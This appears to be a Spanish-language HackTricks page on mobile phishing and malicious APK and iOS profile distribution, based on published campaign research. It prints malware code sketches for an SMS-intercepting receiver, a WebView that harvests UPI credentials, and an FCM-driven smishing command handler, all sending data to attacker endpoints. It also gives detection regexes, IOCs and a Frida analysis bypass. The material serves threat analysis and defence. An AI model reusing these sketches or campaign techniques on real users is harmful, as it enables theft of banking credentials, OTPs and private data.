Phishing Móvil y Distribución de Aplicaciones Maliciosas (Android e iOS)
Reading time: 9 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
info
Esta página cubre técnicas utilizadas por actores de amenazas para distribuir APKs maliciosos de Android y perfiles de configuración móvil de iOS a través de phishing (SEO, ingeniería social, tiendas falsas, aplicaciones de citas, etc.). El material está adaptado de la campaña SarangTrap expuesta por Zimperium zLabs (2025) y otras investigaciones públicas.
Flujo de Ataque
- Infraestructura SEO/Phishing
- Registrar docenas de dominios similares (citas, compartir en la nube, servicio de coches…).
– Usar palabras clave en el idioma local y emojis en el elemento
<title>
para posicionarse en Google. – Alojar tanto las instrucciones de instalación de Android (.apk
) como de iOS en la misma página de destino.
- Descarga de Primera Etapa
- Android: enlace directo a un APK no firmado o de “tienda de terceros”.
- iOS:
itms-services://
o enlace HTTPS simple a un perfil mobileconfig malicioso (ver abajo).
- Ingeniería Social Post-instalación
- En la primera ejecución, la aplicación solicita un código de invitación/verificación (ilusión de acceso exclusivo).
- El código se envía por POST a través de HTTP al Comando y Control (C2).
- C2 responde
{"success":true}
➜ el malware continúa. - Un análisis dinámico en sandbox/AV que nunca envía un código válido no ve comportamiento malicioso (evasión).
- Abuso de Permisos en Tiempo de Ejecución (Android)
- Los permisos peligrosos solo se solicitan después de una respuesta positiva del C2:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Las versiones más antiguas también solicitaban permisos de SMS -->
- Las variantes recientes eliminan
<uses-permission>
para SMS deAndroidManifest.xml
pero dejan la ruta de código Java/Kotlin que lee SMS a través de reflexión ⇒ reduce la puntuación estática mientras sigue siendo funcional en dispositivos que otorgan el permiso a través del abuso deAppOps
o objetivos antiguos.
- Interfaz de Facade y Recolección en Segundo Plano
- La aplicación muestra vistas inofensivas (visor de SMS, selector de galería) implementadas localmente.
- Mientras tanto, exfiltra:
- IMEI / IMSI, número de teléfono
- Volcado completo de
ContactsContract
(array JSON) - JPEG/PNG de
/sdcard/DCIM
comprimido con Luban para reducir tamaño - Contenido opcional de SMS (
content://sms
) Los payloads son comprimidos en lotes y enviados a través deHTTP POST /upload.php
.
- Técnica de Entrega en iOS
- Un solo perfil de configuración móvil puede solicitar
PayloadType=com.apple.sharedlicenses
,com.apple.managedConfiguration
, etc. para inscribir el dispositivo en una supervisión similar a “MDM”. - Instrucciones de ingeniería social:
- Abrir Configuración ➜ Perfil descargado.
- Tocar Instalar tres veces (capturas de pantalla en la página de phishing).
- Confiar en el perfil no firmado ➜ el atacante obtiene derechos de Contactos y Fotos sin revisión de la App Store.
- Capa de Red
- HTTP simple, a menudo en el puerto 80 con encabezado HOST como
api.<phishingdomain>.com
. User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)
(sin TLS → fácil de detectar).
Pruebas Defensivas / Consejos para Red-Team
- Evasión de Análisis Dinámico – Durante la evaluación de malware, automatizar la fase del código de invitación con Frida/Objection para alcanzar la rama maliciosa.
- Diferencia entre Manifest y Runtime – Comparar
aapt dump permissions
conPackageManager#getRequestedPermissions()
en tiempo de ejecución; la falta de permisos peligrosos es una señal de alerta. - Canario de Red – Configurar
iptables -p tcp --dport 80 -j NFQUEUE
para detectar ráfagas de POST no sólidas después de la entrada del código. - Inspección de mobileconfig – Usar
security cms -D -i profile.mobileconfig
en macOS para listarPayloadContent
y detectar derechos excesivos.
Ideas de Detección para Blue-Team
- Transparencia de Certificados / Análisis de DNS para detectar ráfagas repentinas de dominios ricos en palabras clave.
- Regex de User-Agent y Ruta:
(?i)POST\s+/(check|upload)\.php
de clientes Dalvik fuera de Google Play. - Telemetría de Código de Invitación – POST de códigos numéricos de 6 a 8 dígitos poco después de la instalación del APK puede indicar preparación.
- Firma de MobileConfig – Bloquear perfiles de configuración no firmados a través de políticas MDM.
Fragmento Útil de Frida: Bypass Automático del Código de Invitación
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
Java.perform(function() {
var URL = Java.use('java.net.URL');
URL.openConnection.implementation = function() {
var conn = this.openConnection();
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
if (Java.cast(conn, HttpURLConnection)) {
conn.getResponseCode.implementation = function(){ return 200; };
conn.getInputStream.implementation = function(){
return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
};
}
return conn;
};
});
Indicadores (Genéricos)
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
Este patrón se ha observado en campañas que abusan de temas de beneficios gubernamentales para robar credenciales y OTPs de UPI en India. Los operadores encadenan plataformas reputables para la entrega y la resiliencia.
Cadena de entrega a través de plataformas de confianza
- Cebo de video de YouTube → la descripción contiene un enlace corto
- Enlace corto → sitio de phishing de GitHub Pages imitando el portal legítimo
- El mismo repositorio de GitHub alberga un APK con una falsa insignia de “Google Play” que enlaza directamente al archivo
- Páginas de phishing dinámicas viven en Replit; el canal de comando remoto utiliza Firebase Cloud Messaging (FCM)
Dropper con carga útil incrustada e instalación offline
- El primer APK es un instalador (dropper) que envía el malware real en
assets/app.apk
y solicita al usuario que desactive Wi‑Fi/datos móviles para atenuar la detección en la nube. - La carga útil incrustada se instala bajo una etiqueta inocua (por ejemplo, “Actualización Segura”). Después de la instalación, tanto el instalador como la carga útil están presentes como aplicaciones separadas.
Consejo de triaje estático (grep para cargas útiles incrustadas):
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
Descubrimiento dinámico de puntos finales a través de un enlace corto
- El malware obtiene una lista de puntos finales activos en texto plano, separados por comas, de un enlace corto; transformaciones de cadena simples producen la ruta final de la página de phishing.
Ejemplo (sanitizado):
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
Pseudo-código:
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
Recolección de credenciales UPI basada en WebView
- El paso “Realizar pago de ₹1 / UPI‑Lite” carga un formulario HTML del atacante desde el punto final dinámico dentro de un WebView y captura campos sensibles (teléfono, banco, PIN de UPI) que son
POST
eados aaddup.php
.
Cargador mínimo:
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
Autopropagación e interceptación de SMS/OTP
- Se solicitan permisos agresivos en el primer uso:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
- Los contactos se utilizan para enviar masivamente SMS de smishing desde el dispositivo de la víctima.
- Los SMS entrantes son interceptados por un receptor de difusión y se cargan con metadatos (remitente, cuerpo, ranura SIM, ID aleatorio por dispositivo) a
/addsm.php
.
Receiver sketch:
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
Firebase Cloud Messaging (FCM) como C2 resiliente
- La carga útil se registra en FCM; los mensajes push llevan un campo
_type
que se utiliza como un interruptor para activar acciones (por ejemplo, actualizar plantillas de texto de phishing, alternar comportamientos).
Ejemplo de carga útil de FCM:
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
Esbozo del controlador:
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
Patrones de caza e IOCs
- APK contiene carga secundaria en
assets/app.apk
- WebView carga el pago desde
gate.htm
y exfiltra a/addup.php
- Exfiltración de SMS a
/addsm.php
- Obtención de configuración impulsada por enlaces cortos (por ejemplo,
rebrand.ly/*
) que devuelve puntos finales CSV - Aplicaciones etiquetadas como “Actualización/Actualización Segura” genéricas
- Mensajes
data
de FCM con un discriminador_type
en aplicaciones no confiables
Ideas de detección y defensa
- Marcar aplicaciones que instruyen a los usuarios a desactivar la red durante la instalación y luego cargar lateralmente un segundo APK desde
assets/
. - Alertar sobre la tupla de permisos:
READ_CONTACTS
+READ_SMS
+SEND_SMS
+ flujos de pago basados en WebView. - Monitoreo de salida para
POST /addup.php|/addsm.php
en hosts no corporativos; bloquear infraestructura conocida. - Reglas de EDR móvil: aplicación no confiable registrándose para FCM y ramificándose en un campo
_type
.
Referencias
- The Dark Side of Romance: SarangTrap Extortion Campaign
- Luban – Android image compression library
- Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)
- Firebase Cloud Messaging — Docs
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.